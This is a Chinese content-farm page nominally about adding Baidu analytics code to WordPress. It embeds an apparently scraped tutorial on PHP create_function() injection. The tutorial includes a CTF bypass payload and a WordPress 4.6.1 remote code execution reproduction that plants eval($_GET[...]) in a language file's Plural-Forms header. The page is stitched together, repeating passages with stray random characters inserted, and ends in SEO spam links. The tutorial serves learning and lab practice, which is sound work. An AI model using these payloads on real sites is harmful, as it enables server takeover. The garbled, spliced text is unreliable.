wordpress加代码|wordpress代码库 – 专注wordpress的实用资源

编辑整理:整理来源:爱奇艺,浏览量:35,时间:2023-03-21 13:45:01

前沿:wordpress加代码

补充知识:

一般的主题 后台是来自有这个加百度统计代码的位置  如果主题里面没有这个功能的呢 手动添加也可以下面是步骤

如果有加统计代码的位置 直接把代码复制到里面 更新即可


如果没有加统计代码的位置呢 

 建议在header.htm类似的页头模板页面中安装,以达到一处安装,全站皆有的效果;

如果代码安装正确,一般20分钟 后,可以查看网站分析数据;

注意事项:

在百度统计后台,代码添加完成后点击检测代码 确认安装正确


wordpress加代码


什么是create_function?版本影响:

注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0

简单讲解:

首先还是先看PHP手册,PHP官方对create_function是这么定义的:

首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名

举个例子:

<?php$Lxxx = create_function('$str' , 'echo $str;phpinfo();');echo $Lxxx;echo "<br>";echo $Lxxx("hello");

我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面

此时我们访问页面如下:

可以看到,这个时候打印输出了hello以及phpinfo页面

除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。

这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。

如何利用create_function()进行注入?

想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的:

其实就是需要我们注意,这个函数本身就是在内部执行eval函数,

因此我们可以将上方的代码改写成另一种等价的形式:

<?phpfunction lambda_6($str){ echo $str; phpinfo();}?>

那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢?

假设我们有以下代码:

<?php$ctf = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) { $ctf('',$_GET['Lxxx']);}

其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。

既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。

问题一:

那么该如何又使用create_function函数,又不以字母开头呢?

分析一:

答案就是:使用反斜杠。

因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的

问题二:

对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办?

<?phpfunction lambda_6($str){ echo $str; phpinfo();}?>

分析二:

注入的时候在末尾添加注释符,将后面的内容注释掉即可。

也就是说,我们只需要传如下payload即可:

?Lxxx=;}phpinfo();/*POSTDATA: ctf=\create_function

WordPress中的create_function()注入影响范围:

WordPress<=4.6.1

漏洞复现:

WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数

涉及到的代码如下:

/** * Makes a function, which will return the right translation index, according to the * plural forms header * @param int $nplurals * @param string $expression*/function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " \$index = (int)($expression); return (\$index < $nplurals)? \$index : $nplurals - 1;"; return create_function('$n', $func_body);}

从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回

首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数

首先plural forms在如下位置:

我们现在将第九行修改如下:

"Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"

;}将前面的内容闭合,并且使用/*注释掉后面的代码

再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。

这个时候在主页传payload:

?Lxxx=phpinfo();

即可得到phpinfo页面,也就达成了RCE。

实验推荐: 实验:Vulnhub渗透测试实战靶场WordPress(合天网安实验室)


补充拓展:wordpress加代码

一般的主题 后台是有这个加百度统计代码的位置  如果主题里面没有这个功能的呢 手动添加也可以下面是步骤

如果有加统计代码的位谈编线绍举极书脸置 直接把代码复制到里面 更新即可


如果没有加统计代码的位置呢 

 建议在header.htm类似的页头模板页面中安装,以达到一处安装,全站皆有的效果;

如果代码安装正确,一般20分钟 后,可以查看网站分析数据;

注意事项:

在粒胶从乡孙流察百度统计后台,代码添加完成后点击检测代码 确认安装正确


wordpress加代码

行业热门话题:

【wordpress添加代码】【wordpress代码库 – 专注wordpress的实用资源】【wordpress可以自己写代码吗】【wordpress code】【wordpress修改页面的代码】【wordpress添加js】【wordpress调用js代码】【wordpress精简代码】【wordpress代码高亮显示】【wordpress 代码插件】
wordpress加代码|wordpress代码库 – 专注wordpress的实用资源完!

相关推荐:


关键词文章生成器,点击查看演示目录:http://www.wskqs.cn/shisange/


名外推蜘蛛池 名外推蜘蛛池| wordpress怎么注册| 宝妈营销软文 宝妈推广文案| 修为是什么意思-修为的最高境界是什么| 鲁河乡软文营销给力的营销模板-软文营销给力的营销模板是什么| 互联网企业精准获客 鹤山古劳镇互联网企业精准获客系统| 百度推广代运营 合江镇百度代运营| 重庆万州区我的网站成了蜘蛛池-如何把网站弄成蜘蛛池| 稍息的拼音-稍的拼音| 细说软文营销的一些作用 细说软文营销的一些作用和意义|
投稿| 1024(定向养站+文章采集+ai聚合)目录程序| 1888(定向养站+文章采集+ai聚合)泛目录版| 淘客文章带货| 双标题| 挖关键词| 违禁词删除| 伪原创| 免费配图| 自助解答| 站长变现| 今日头条| 问答聚合| 818(今日头条资讯聚合演示)| 1024(采集聚合+ai聚合)| 1024 (AI定向养站目录程序)| 定向养站目录程序| ai写作目录程序

苏ICP备2021004623号 (免责声明:本网站部分内容由用户自行上传,如权利人发现存在侵犯其权益情形,请及时与本站联系。)(版权所有:昆山市一路火信息技术服务中心) 友情导航 网络警察提醒您 中国互联网辟谣平台 中国文明网传播文明 中国互联网举报中心